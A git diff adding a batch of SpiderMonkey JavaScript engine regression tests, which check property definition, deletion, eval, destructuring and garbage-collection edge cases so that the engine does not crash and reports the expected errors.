diff --git a/js/src/tests/js1_8_5/regress/regress-595365-1.js b/js/src/tests/js1_8_5/regress/regress-595365-1.js
new file mode 100644
index 000000000..1010d8853
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-595365-1.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * NB: this test hardcodes the value of MAX_PROPERTY_TREE_HEIGHT.
+ */
+var i = 0;
+function add0to64(o) {
+  o.p00 = ++i;o.p01 = ++i;o.p02 = ++i;o.p03 = ++i;o.p04 = ++i;o.p05 = ++i;o.p06 = ++i;o.p07 = ++i;
+  o.p10 = ++i;o.p11 = ++i;o.p12 = ++i;o.p13 = ++i;o.p14 = ++i;o.p15 = ++i;o.p16 = ++i;o.p17 = ++i;
+  o.p20 = ++i;o.p21 = ++i;o.p22 = ++i;o.p23 = ++i;o.p24 = ++i;o.p25 = ++i;o.p26 = ++i;o.p27 = ++i;
+  o.p30 = ++i;o.p31 = ++i;o.p32 = ++i;o.p33 = ++i;o.p34 = ++i;o.p35 = ++i;o.p36 = ++i;o.p37 = ++i;
+  o.p40 = ++i;o.p41 = ++i;o.p42 = ++i;o.p43 = ++i;o.p44 = ++i;o.p45 = ++i;o.p46 = ++i;o.p47 = ++i;
+  o.p50 = ++i;o.p51 = ++i;o.p52 = ++i;o.p53 = ++i;o.p54 = ++i;o.p55 = ++i;o.p56 = ++i;o.p57 = ++i;
+  o.p60 = ++i;o.p61 = ++i;o.p62 = ++i;o.p63 = ++i;o.p64 = ++i;o.p65 = ++i;o.p66 = ++i;o.p67 = ++i;
+  o.p70 = ++i;o.p71 = ++i;o.p72 = ++i;o.p73 = ++i;o.p74 = ++i;o.p75 = ++i;o.p76 = ++i;o.p77 = ++i;
+  o.p100 = ++i;
+  return o;
+}
+function add65th(o) {
+  o.p101 = ++i;
+}
+var o = add0to64({});
+add65th(o);
+delete o.p101;
+add65th(o);
+
+reportCompare(true, true, "don't crash");
diff --git a/js/src/tests/js1_8_5/regress/regress-596103.js b/js/src/tests/js1_8_5/regress/regress-596103.js
new file mode 100644
index 000000000..2b1910096
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-596103.js
@@ -0,0 +1,13 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor: Gary Kwong <gary@rumblingedge.com>, Jesse Ruderman <jruderman@gmail.com>
+
+for (var u = 0; u < 3; ++u) {
+    var y = [];
+    Object.create(y);
+    gc();
+    y.t = 3;
+    gc();
+}
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-596805-1.js b/js/src/tests/js1_8_5/regress/regress-596805-1.js
new file mode 100644
index 000000000..c008beb38
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-596805-1.js
@@ -0,0 +1,14 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var f = function(){};
+for (var y in f);
+f.j = 0;
+Object.defineProperty(f, "k", ({configurable: true}));
+delete f.j;
+Object.defineProperty(f, "k", ({get: function() {}}));
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-596805-2.js b/js/src/tests/js1_8_5/regress/regress-596805-2.js
new file mode 100644
index 000000000..52bf4fc6c
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-596805-2.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+for each(let c in [0, 0, 0, 0, 0]) {
+  try { (function() {
+      this.c = this;
+      this.e = arguments;
+      Object.defineProperty(this, "d", {
+        get: Math.pow,
+        configurable: true
+      });
+      delete this.e;
+      delete this.c;
+      Object.defineProperty(this, "d", {
+        writable: true
+      });
+      if (Math.tan( - 1)) {
+        Object.defineProperty(this, {});
+      }
+    } (c));
+  } catch(e) {}
+}
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-597945-1.js b/js/src/tests/js1_8_5/regress/regress-597945-1.js
new file mode 100644
index 000000000..3ecf569e6
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-597945-1.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var arguments;
+
+function b(foo) {
+    delete foo.d
+    delete foo.w
+    foo.d = true
+    foo.w = Object
+    delete Object.defineProperty(foo, "d", ({
+        set: Math.w
+    })); {}
+}
+for each(e in [arguments, arguments]) {
+    try {
+        b(e)('')
+    } catch (e) {}
+}
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-597945-2.js b/js/src/tests/js1_8_5/regress/regress-597945-2.js
new file mode 100644
index 000000000..ca5b2e162
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-597945-2.js
@@ -0,0 +1,13 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var a = {d: true, w: true};
+Object.defineProperty(a, "d", {set: undefined});
+delete a.d;
+delete a.w;
+a.d = true;
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-598176.js b/js/src/tests/js1_8_5/regress/regress-598176.js
new file mode 100644
index 000000000..754edf239
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-598176.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function make() {
+  var r = {};
+  r.desc = {get: function() {}};
+  r.a = Object.defineProperty({}, "prop", r.desc);
+  r.info = Object.getOwnPropertyDescriptor(r.a, "prop");
+  return r;
+}
+
+r1 = make();
+assertEq(r1.desc.get, r1.info.get);
+
+// Distinct evaluations of an object literal make distinct methods.
+r2 = make();
+assertEq(r1.desc.get === r2.desc.get, false);
+
+r1.info.get.foo = 42;
+
+assertEq(r1.desc.get.hasOwnProperty('foo'), !r2.desc.get.hasOwnProperty('foo'));
+assertEq(r1.info.get.hasOwnProperty('foo'), !r2.info.get.hasOwnProperty('foo'));
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-600067.js b/js/src/tests/js1_8_5/regress/regress-600067.js
new file mode 100644
index 000000000..4bcf57406
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-600067.js
@@ -0,0 +1,16 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * NB: this test hardcodes for the value of PropertyTable::HASH_THRESHOLD (6).
+ */
+
+function s(e) {
+  var a, b, c, d;
+  function e() { }
+}
+
+reportCompare(0, 0, "don't crash");
diff --git a/js/src/tests/js1_8_5/regress/regress-601399.js b/js/src/tests/js1_8_5/regress/regress-601399.js
new file mode 100644
index 000000000..7f727c697
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-601399.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ *
+ * Test courtesy of Olov Lassus <olov.lassus@gmail.com>.
+ */
+
+function keys(o) {
+    var a = [];
+    for (var key in o) {
+        a.push(key);
+    }
+    return a;
+}
+
+var obj = {
+    'a': function() {}, 'b': function() {}, 'c': function() {}
+};
+var orig_order = keys(obj).toString();
+var tmp = obj["b"];
+var read_order = keys(obj).toString();
+
+reportCompare(orig_order, read_order,
+              "property enumeration order should not change after reading a method value");
diff --git a/js/src/tests/js1_8_5/regress/regress-602621.js b/js/src/tests/js1_8_5/regress/regress-602621.js
new file mode 100644
index 000000000..bf9eaffec
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-602621.js
@@ -0,0 +1,15 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function test(arg) {
+    eval(arg);
+    {
+        function arguments() { return 1; }
+    }
+    return arguments;
+}
+
+reportCompare("function", typeof test("42"), "function sub-statement must override arguments");
diff --git a/js/src/tests/js1_8_5/regress/regress-607799.js b/js/src/tests/js1_8_5/regress/regress-607799.js
new file mode 100644
index 000000000..f1111dd67
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-607799.js
@@ -0,0 +1,2 @@
+// |reftest| fails-if(!xulRuntime.shell)
+reportCompare(typeof(evalcx("/x/")), "object")
diff --git a/js/src/tests/js1_8_5/regress/regress-607863.js b/js/src/tests/js1_8_5/regress/regress-607863.js
new file mode 100644
index 000000000..75d9ae09f
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-607863.js
@@ -0,0 +1,14 @@
+// |reftest| fails-if(!xulRuntime.shell)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var sandbox = evalcx('');
+var foreign = evalcx('({ get f() this, set x(v) { result = this } })', sandbox);
+var local = Object.create(foreign);
+
+reportCompare(local, local.f, "this should be set correctly in getters");
+local.x = 42;
+reportCompare(local, sandbox.result, "this should be set correctly in setters");
diff --git a/js/src/tests/js1_8_5/regress/regress-609617.js b/js/src/tests/js1_8_5/regress/regress-609617.js
new file mode 100644
index 000000000..f588153d4
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-609617.js
@@ -0,0 +1,85 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var actual;
+var expect = "pass";
+
+var x = "fail";
+function f() {
+    var x = "pass"; 
+    delete(eval("actual = x"));
+}
+f();
+assertEq(actual, expect);
+
+function g() { return 1 }
+function h() { function g() { throw 2; } eval('g()')++; } 
+
+try {
+    h();
+    assertEq(0, -1);
+} catch (e) {
+    assertEq(e, 2);
+}
+
+var lhs_prefix = ["",        "++", "--", "",   "",   "[",             "[y, "      ];
+var lhs_suffix = [" = 'no'", "",   "",   "++", "--", ", y] = [3, 4]", "] = [5, 6]"];
+
+for (var i = 0; i < lhs_prefix.length; i++) {
+    try {
+        eval(lhs_prefix[i] + "eval('x')" + lhs_suffix[i]);
+        assertEq(i, -2);
+    } catch (e) {
+        if (/\[/.test(lhs_prefix[i])) {
+            assertEq(e.message, "invalid destructuring target");
+        } else {
+            /*
+             * NB: JSOP_SETCALL throws only JSMSG_BAD_LEFTSIDE_OF_ASS, it does not
+             * specialize for ++ and -- as the compiler's error reporting does. See
+             * the next section's forked assertEq code.
+             */
+            assertEq(e.message, "invalid assignment left-hand side");
+        }
+    }
+}
+
+/* Now test for strict mode rejecting any SETCALL variant at compile time. */
+for (var i = 0; i < lhs_prefix.length; i++) {
+    try {
+        eval("(function () { 'use strict'; " + lhs_prefix[i] + "foo('x')" + lhs_suffix[i] + "; })");
+        assertEq(i, -3);
+    } catch (e) {
+        if (/\+\+|\-\-/.test(lhs_prefix[i] || lhs_suffix[i]))
+            assertEq(e.message, "invalid increment/decrement operand");
+        else if (/\[/.test(lhs_prefix[i]))
+            assertEq(e.message, "invalid destructuring target");
+        else
+            assertEq(e.message, "invalid assignment left-hand side");
+    }
+}
+
+/*
+ * The useless delete is optimized away, but the SETCALL must not be. It's not
+ * an early error, though.
+ */
+var fooArg;
+function foo(arg) { fooArg = arg; }
+try {
+    eval("delete (foo('x') = 42);");
+    assertEq(0, -4);
+} catch (e) {
+    assertEq(e.message, "invalid assignment left-hand side");
+}
+assertEq(fooArg, 'x');
+
+/* Delete of a call expression is not an error at all, even in strict mode. */
+function g() {
+    "use strict";
+    assertEq(delete Object(), true);
+}
+g();
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-610026.js b/js/src/tests/js1_8_5/regress/regress-610026.js
new file mode 100644
index 000000000..e7b9df909
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-610026.js
@@ -0,0 +1,48 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var expect = "pass";
+var actual;
+
+// Scripts used to be limited to 2**20 blocks, but no longer since the frontend
+// rewrite.  The exact limit-testing here should all pass now, not pass for
+// 2**20 - 1 and fail for 2**20.
+var s = "{}";
+for (var i = 0; i < 21; i++)
+    s += s;
+
+try {
+    eval(s);
+    actual = "pass";
+} catch (e) {
+    actual = "fail: " + e;
+}
+
+assertEq(actual, expect);
+
+s += s.slice(0, -4);
+
+try {
+    eval(s);
+    actual = "pass";
+} catch (e) {
+    actual = "fail: " + e;
+}
+
+assertEq(actual, expect);
+
+s += "{}";
+
+try {
+    eval(s);
+    actual = "pass";
+} catch (e) {
+    actual = "fail: " + e;
+}
+
+assertEq(actual, expect);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-614714.js b/js/src/tests/js1_8_5/regress/regress-614714.js
new file mode 100644
index 000000000..4d387279c
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-614714.js
@@ -0,0 +1,12 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function f(reportCompare) {
+    if (typeof clear === 'function')
+        clear(this);
+    return f;
+}
+
+// This must be called before clear().
+reportCompare(0, 0, 'ok');
+f();  // don't assert
diff --git a/js/src/tests/js1_8_5/regress/regress-617405-1.js b/js/src/tests/js1_8_5/regress/regress-617405-1.js
new file mode 100644
index 000000000..f8625496c
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-617405-1.js
@@ -0,0 +1,11 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributors: Christian Holler <decoder@own-hero.net> and Jason Orendorff
+ */
+
+function C(){}
+C.prototype = 1;
+assertEq(Object.getOwnPropertyDescriptor(C, "prototype").configurable, false);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-617405-2.js b/js/src/tests/js1_8_5/regress/regress-617405-2.js
new file mode 100644
index 000000000..76e59b663
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-617405-2.js
@@ -0,0 +1,17 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributors: Christian Holler <decoder@own-hero.net> and Jason Orendorff
+ */
+
+function C(){}
+C.prototype = 1;
+try {
+    Object.defineProperty(C, "prototype", {get: function() { throw 0; }});
+    actual = "no exception";
+} catch (exc) {
+    actual = exc.name;
+}
+new C; // don't assert
+assertEq(actual, "TypeError");
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-618572.js b/js/src/tests/js1_8_5/regress/regress-618572.js
new file mode 100644
index 000000000..915c60233
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-618572.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 618572;
+var summary = 'Do not assert when ungetting a Unicode char sequence';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+  enterFunc ('test');
+  printBugNumber(BUGNUMBER);
+  printStatus (summary);
+ 
+  expect = 'SyntaxError: illegal character';
+
+  try
+  {
+    eval("var a\\0021 = 3;");
+  }
+  catch(ex)
+  {
+    actual = ex + '';
+  }
+
+  reportCompare(expect, actual, summary);
+
+  exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_5/regress/regress-619003-1.js b/js/src/tests/js1_8_5/regress/regress-619003-1.js
new file mode 100644
index 000000000..6a9fd3b50
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-619003-1.js
@@ -0,0 +1,20 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+var expect = 'SyntaxError: duplicate argument names not allowed in this context';
+var actual = 'No error';
+
+var a = [];
+
+// Test up to 200 to cover tunables such as js::PropertyTree::MAX_HEIGHT.
+for (var i = 0; i < 200; i++) {
+    a.push("b" + i);
+    try {
+        eval("(function ([" + a.join("],[") + "],a,a){})");
+    } catch (e) {
+        actual = '' + e;
+    }
+    assertEq(actual, expect);
+}
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-619003-2.js b/js/src/tests/js1_8_5/regress/regress-619003-2.js
new file mode 100644
index 000000000..643286f24
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-619003-2.js
@@ -0,0 +1,9 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+var expect = "global";
+var actual = expect;
+function f([actual]) { }
+f(["local"]);
+reportCompare(expect, actual, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-620376-1.js b/js/src/tests/js1_8_5/regress/regress-620376-1.js
new file mode 100644
index 000000000..de55a18c2
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-620376-1.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(Android)
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributors: Igor Bukanov
+ */
+
+// Test that we can terminate looping array enumeration
+function test() {
+    if (typeof timeout != "function")
+	return;
+
+    var p = new Proxy({}, { onwKeys: function() { return Array(1e9); }});
+
+    expectExitCode(6);
+    timeout(0.001);
+
+    var n = 0;
+    for (i in p) { ++n;}
+    return n;
+}
+
+test();
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-621814.js b/js/src/tests/js1_8_5/regress/regress-621814.js
new file mode 100644
index 000000000..146a2f3ed
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-621814.js
@@ -0,0 +1,13 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+var expect = 'pass';
+var actual = expect;
+function f({"\xF51F": x}) {}
+try {
+    eval(uneval(f));
+} catch (e) {
+    actual = '' + e;
+}
+reportCompare(expect, actual, "");
diff --git a/js/src/tests/js1_8_5/regress/regress-624199.js b/js/src/tests/js1_8_5/regress/regress-624199.js
new file mode 100644
index 000000000..09eda4f5c
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-624199.js
@@ -0,0 +1,17 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+function roundTrip(f) {
+    try {
+        eval(uneval(f));
+        return true;
+    } catch (e) {
+        return '' + e;
+    }
+}
+
+function f() { if (true) { 'use strict'; } var eval; }
+assertEq(roundTrip(f), true);
+
+reportCompare(true,true);
diff --git a/js/src/tests/js1_8_5/regress/regress-624547.js b/js/src/tests/js1_8_5/regress/regress-624547.js
new file mode 100644
index 000000000..659b64750
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-624547.js
@@ -0,0 +1,16 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function f(x) {
+    delete arguments[0];
+    for(var i=0; i<20; i++) {
+        arguments[0] !== undefined;
+    }
+}
+
+/* Don't crash. */
+f(1);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-624968.js b/js/src/tests/js1_8_5/regress/regress-624968.js
new file mode 100644
index 000000000..b631df90a
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-624968.js
@@ -0,0 +1,9 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor: Bob Clary <bclary@bclary.com>
+
+try {
+    new {prototype: TypeError.prototype};
+} catch (e) {}
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-626436.js b/js/src/tests/js1_8_5/regress/regress-626436.js
new file mode 100644
index 000000000..09b9093d7
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-626436.js
@@ -0,0 +1,7 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributors: Christian Holler <decoder@own-hero.net>, Jesse Ruderman <jruderman@gmail.com>
+
+(1 ? 2 : delete(0 ? 0 : {})).x;
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-633741.js b/js/src/tests/js1_8_5/regress/regress-633741.js
new file mode 100644
index 000000000..6ec1c9261
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-633741.js
@@ -0,0 +1,18 @@
+// |reftest| skip
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributors: Jan de Mooij
+ */
+
+Object.preventExtensions(this);
+delete Function;
+
+try {
+    /* Don't assert. */
+    Object.getOwnPropertyNames(this);
+} catch(e) {
+    reportCompare(true, false, "this shouldn't have thrown");
+}
+reportCompare(0, 0, "ok");
+
diff --git a/js/src/tests/js1_8_5/regress/regress-634210-1.js b/js/src/tests/js1_8_5/regress/regress-634210-1.js
new file mode 100644
index 000000000..02a1e14f1
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-634210-1.js
@@ -0,0 +1,11 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function f() {}
+f.p = function() {};
+Object.freeze(f);
+f.p;
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-634210-2.js b/js/src/tests/js1_8_5/regress/regress-634210-2.js
new file mode 100644
index 000000000..28adc5552
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-634210-2.js
@@ -0,0 +1,13 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var a = [];
+for (var i = 0; i < 2; i++) {
+    a[i] = {m: function () {}};
+    Object.defineProperty(a[i], "m", {writable: false});
+}
+assertEq(a[0].m === a[1].m, false);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-634210-3.js b/js/src/tests/js1_8_5/regress/regress-634210-3.js
new file mode 100644
index 000000000..e3ec7d81b
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-634210-3.js
@@ -0,0 +1,13 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var a = [];
+for (var i = 0; i < 2; i++) {
+    a[i] = {m: function () {}};
+    Object.defineProperty(a[i], "m", {configurable: false});
+}
+assertEq(a[0].m === a[1].m, false);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-634210-4.js b/js/src/tests/js1_8_5/regress/regress-634210-4.js
new file mode 100644
index 000000000..e4ff870d5
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-634210-4.js
@@ -0,0 +1,20 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function outer() {
+    function f() {}
+    f.p = function() {};
+    Object.seal(f);
+    return f.p;
+}
+
+var m1 = outer();
+var m2 = outer();
+assertEq(m1 === m2, false);
+
+m1.foo = "hi";
+assertEq(m2.foo, undefined);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-635195.js b/js/src/tests/js1_8_5/regress/regress-635195.js
new file mode 100644
index 000000000..89980b05a
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-635195.js
@@ -0,0 +1,8 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var obj = {set x(v) {}};
+obj.watch("x", function() { delete obj.x; });
+obj.x = "hi";  // don't assert
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-636364.js b/js/src/tests/js1_8_5/regress/regress-636364.js
new file mode 100644
index 000000000..02df9878a
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-636364.js
@@ -0,0 +1,29 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributors: Jason Orendorff, Brendan Eich
+ */
+
+if (typeof newGlobal == 'function') {
+    var gsame = newGlobal('same-compartment');
+
+    gsame.eval("function f() { return this; }");
+    f = gsame.f;
+    assertEq(f(), gsame);
+
+    gsame.eval("function g() { 'use strict'; return this; }");
+    g = gsame.g;
+    assertEq(g(), undefined);
+
+    var gnew = newGlobal();
+
+    gnew.eval("function f() { return this; }");
+    f = gnew.f;
+    assertEq(f(), gnew);
+
+    gnew.eval("function g() { 'use strict'; return this; }");
+    g = gnew.g;
+    assertEq(g(), undefined);
+}
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-636394.js b/js/src/tests/js1_8_5/regress/regress-636394.js
new file mode 100644
index 000000000..d1a249786
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-636394.js
@@ -0,0 +1,10 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var a = {p0: function () {}};
+var b = /f/;
+b.__proto__ = a;
+b.watch("p0", function () {});
+b.p0;
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-640075.js b/js/src/tests/js1_8_5/regress/regress-640075.js
new file mode 100644
index 000000000..449c6ef08
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-640075.js
@@ -0,0 +1,15 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+"use strict";
+try {
+    eval("(function() { eval(); function eval() {} })");
+    assertEq(0, 1);
+} catch (e) {
+    assertEq(e.name, "SyntaxError");
+}
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-642247.js b/js/src/tests/js1_8_5/regress/regress-642247.js
new file mode 100644
index 000000000..318079d72
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-642247.js
@@ -0,0 +1,13 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+if (typeof timeout == "function") {
+    assertEq(typeof timeout(), "number");
+    assertEq(typeof timeout(1), "undefined");
+}
+
+reportCompare(0, 0, "ok");
+
diff --git a/js/src/tests/js1_8_5/regress/regress-643222.js b/js/src/tests/js1_8_5/regress/regress-643222.js
new file mode 100644
index 000000000..52d3aa9cd
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-643222.js
@@ -0,0 +1,12 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/* This shouldn't trigger an assertion. */
+(function () {
+    eval("var x=delete(x)")
+})();
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-646820-1.js b/js/src/tests/js1_8_5/regress/regress-646820-1.js
new file mode 100644
index 000000000..535878d50
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-646820-1.js
@@ -0,0 +1,9 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+(function () {
+    var [x, y] = [1, function () x];
+    assertEq(y(), 1);
+})();
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-646820-2.js b/js/src/tests/js1_8_5/regress/regress-646820-2.js
new file mode 100644
index 000000000..a6c9d5a81
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-646820-2.js
@@ -0,0 +1,11 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+(function () {
+    var obj = {prop: 1};
+    var [x, {prop: y}] = [function () y, obj];
+    assertEq(y, 1);
+    assertEq(x(), 1);
+})();
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-646820-3.js b/js/src/tests/js1_8_5/regress/regress-646820-3.js
new file mode 100644
index 000000000..392a4345d
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-646820-3.js
@@ -0,0 +1,9 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+(function () {
+    var [x, y] = [function () y, 13];
+    assertEq(x(), 13);
+})();
+
+reportCompare(0, 0, 'ok');
